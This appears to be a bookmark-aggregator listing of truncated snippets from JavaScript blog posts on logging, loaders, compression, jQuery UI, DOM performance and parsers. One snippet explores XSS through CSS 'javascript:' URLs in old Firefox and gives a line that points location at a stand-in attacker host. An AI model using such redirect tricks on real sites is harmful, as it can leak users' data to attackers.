未知本チャレンジ(2025年上半期) 昨年1月に意気揚々と旗揚げした、未知なる本を月に1冊読もうという試み、その名も「未知本チャレンジ」。細々しすぎていつ息が途絶えるやら…という感じだが、なんとか2025年も続けているうえに、年初にはわたしの生活を少なからず変えた出会いもあった。月日が経つのが…

未だに半年前のエントリにブクマされるみたいなので、もう少しjavascriptについて書いてみる。 今回は大規模化開発におけるJavascriptの注意点とかそういうの。当てはまらない環境の方もいます。(しかも基本的な事だらけで大したことは書いてないです) ほぼリッチクライアントを主目的としたjavascripterとコードを対象とします。 どちらかというと、ライブラリを提供する側の視点から 1.ログを出力せよ あなたが書いたコードは遅い、と必ず言われます。なので言われる前から、自分の書いたコードの処理時間をログするようにしましょう。 次のような処理時間を計測するロガーを作ります。 var TraceLog = function (){ this.startTime = -1; var outer = document.getElementById('_outer'); if(oute
Sjaxを使わないJavaScript Loader - ヒルズで働く@robarioの技ログ と JavaScriptから外部JavaScriptを読み込む方法 - ヒルズで働く@robarioの技ログ の改良版です。この二つの記事は忘れてもらって結構です。 前振りとか ライブラリを読み込みたい(><) 「script要素をappendChildする」でやると読み込み完了を待ってくれないので「setTimeoutで3000ms後に本処理」とか、嫌だ。 そこで「指定したプロパティが存在するか」を監視するスクリプトloader.js.incを書きました。http://coderepos.org/share/に置いてあります。 http://coderepos.org/share/browser/lang/javascript/misc/loader.js.inc http://coderep
BookmarkletBuilderとは? ブックマークレット・ビルダーはHTML上にブックマークレットとして起動できるJavaScriptエディタです。 javascript:(function(){var d=document;var s=d.createElement('script');s.setAttribute('src','http://www.fladdict.net/app/bmbuilder/bmbuilder.js');d.body.appendChild(s);})() 主な機能 BookmarkletからFlex製のエディタを起動可能。 エディタ内のスクリプトはドメインを跨いで持ち越しが可能。 作成したスクリプトはBookmarklet形式にフォーマットして出力可能 使い方 JavaScriptを適用したいページでブックマークレットを起動してください。 画面の左上
バージョン Firefoxの1.508ぐらいの古いもので考えてみました。 background:url("javascript:ほえほえ") background:url("javascript:ほえほえ");Firefoxでは上記のようなスタイル記述をほどこしたbody要素内の各要素で、ほえほえを安易に書いたときに、documentオブジェクトには手が出せません。つまりcookieを単純に盗み出すことが出来ないのかもしれません。権限がないというエラーメッセージが出るのです。また、JavaScriptの組み込み関数も利用できません。alert()とか。XSSされにくい感じです。windowオブジェクトにも制限がかかっているかもしれません。 でもでもでも locationオブジェクトそのものに値を設定はできます。 location="attacker.example.com";これでURLの
JavaScript ファイルの圧縮と一口にいってもおおまかに次の3種類があります。 コンテンツの圧縮(gzip);ブラウザ機能による伸長 コンテンツの圧縮(compress);JavaScript による伸長 コンテンツの縮小(minify) それぞれについて説明します。 コンテンツの圧縮;ブラウザ機能による伸長 ブラウザが圧縮コンテンツをサポートしている場合,リクエストヘッダの Accept-Encoding に gzip(や deflate)という値を渡します。この場合,サーバは圧縮されたコンテンツを渡すことができます。 一番簡単で安全なのは mod_deflate を使うことです*1。基本動作として*2リクエストヘッダの Accept-Encoding に gzip が指定されている場合のみ,モジュールが圧縮して伝送してくれます。 フィルタモジュールなので,CGI(PHP)等による
Here are a couple of files to make working with the YUI in vim/gvim a little easier. Currently the only supported methods are: YAHOO, YAHOO.util, YAHOO.util.Dom, YAHOO.util.Event, YAHOO.util.CustomEvent, YAHOO.util.Anim & YAHOO.Tools Files Syntax File AutoComplete File Install Instructions I'm not going to give full instructions, because if you are using vim you should know where these files go 8-
Recently, I’ve been spending a lot of time analyzing the speed of pure JavaScript engines, looking at how well they perform and what their particular strengths and weaknesses are. To start with, I analyzed the bleeding-edge code from: Rhino Spidermonkey (Firefox 3) Tamarin (Firefox 4?) JavaScriptCore (Safari 3) Right now I’m only looking at pure, JavaScript-only, tests (no tests of DOM or other AP
jQuery UI is a curated set of user interface interactions, effects, widgets, and themes built on top of the jQuery JavaScript Library. Whether you're building highly interactive web applications or you just need to add a date picker to a form control, jQuery UI is the perfect choice. What's New in jQuery UI 1.14? Compatibility with recent jQuery versions (up to 3.7): Usage of deprecated jQuery API
WEB+DB PRESS 編集の R たんから、僕の連載記事に読者様から質問が来ていると教えていただいたので、その内容を教えていただきました。 以下、内容を転載 「JavaScriptわくわく開発道」の記事に関して質問です。 今回の内容で特に興味を持ったのはthisキーワードの振る舞いでした。 thisキーワードの説明には、オブジェクト型の変数を別の変数にコピーしてから初期化すると、コピーした変数からメソッドを実行できなくなるという例が紹介されていました。 そこには「(1)の時点でobj0には{}が入っているため、hogeは未定義となってしまう」という説明があるのですが、誌面の都合上省略があるためか、thisキーワードを用いることで問題を回避できるという理由がなかなか理解できないでいます。 自分なりに考えてみたところ、内部的には以下のようなことが起きているのではないかと思いました。 (1)
This post isn't about the pros and cons of innerHTML vs. W3C DOM methods. That has been hashed and rehashed elsewhere. Instead, I'll show how you can combine the use of innerHTML and DOM methods to make your code potentially hundreds of times faster than innerHTML on its own, when working with large numbers of elements. In some browsers (most notably, Firefox), although innerHTML is generally much
This browser is no longer supported. Upgrade to Microsoft Edge to take advantage of the latest features, security updates, and technical support. Microsoft Learn. Spark possibility. Build skills that open doors. See all you can do with documentation, hands-on training, and certifications to help you get the most from Microsoft products. Learn by doing Gain the skills you can apply to everyday situ
C++ の特徴のひとつである演算子オーバーロード、その粋を極めたのが Boost Lambda (無名関数) と Boost Spirit (構文解析) ではないかと思っています。JavaScript では無名関数が使えるので Lambda に関しては間に合っているとも言えますが、Spirit はそうも行きません。JavaScript 2 で演算子オーバーロードがサポートされるのならチャレンジしてみようかななどと思ってそれきりになっていました。 しかし、一部でパーサブームが起こっているというのを受け、Perl 6 Rules をつらつらと眺めているうち、正規表現のメタ文字を使えば文法定義をきれいに書けるのではと思い至りました。そこで実際に JavaScript でパーサジェネレータを作り、Spirit にあやかって Gin (ジン) と名づけてみました。 文法定義 正規表現リテラルを使うこ
実装側では非常に苦労しますが、使い勝手は抜群。わざわざnew演算子を使ってインスタンス生成をしなくても関数の戻り値としてオブジェクトを使うテクニックです。 例を使って説明します。以下はDOMの操作で要素を削除する方法です。 普通の方法 var elem = document.getElementById('navi'); elem.parentNode.removeChild(elem); DOMのAPIでは直接要素を削除できません。いったんparentNodeをたどり、removeChildでDOMツリーから削除します。 普通のクラス化 var Elem = function(id){ this.elem=document.getElementById(id); }; Elem.prototype.remove = function(){ this.elem.parentNode.rem
Firefoxのソースコードを追っているうちに、たまたま1年遅れで IT戦記 - JavaScript を学ぶ際に一番重要なのに、誤解されがちな setTimeout 系の概念 の裏側がどうなっているかがわかったので、その話を。 タイマーの管理方法 そもそもjavascriptからsetTimeoutを呼ぶと、どういう仕組みで指定した時間後に渡した関数が呼び出されるようになっているのでしょう。Linuxであればsleepのように一定時間後にawakeするという処理は、タイマーリストによって管理されています。カーネルの中にN jiffies(LinuxのOS内時間の単位はjiffyと呼ぶそうです)経過後に実行することリストがあって、カーネルが4msごとに毎回タイマーリストをチェックしてやることがあったときにはそれを実行しています。 FirefoxもLinuxと同じようにタイマーリストみたいな
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く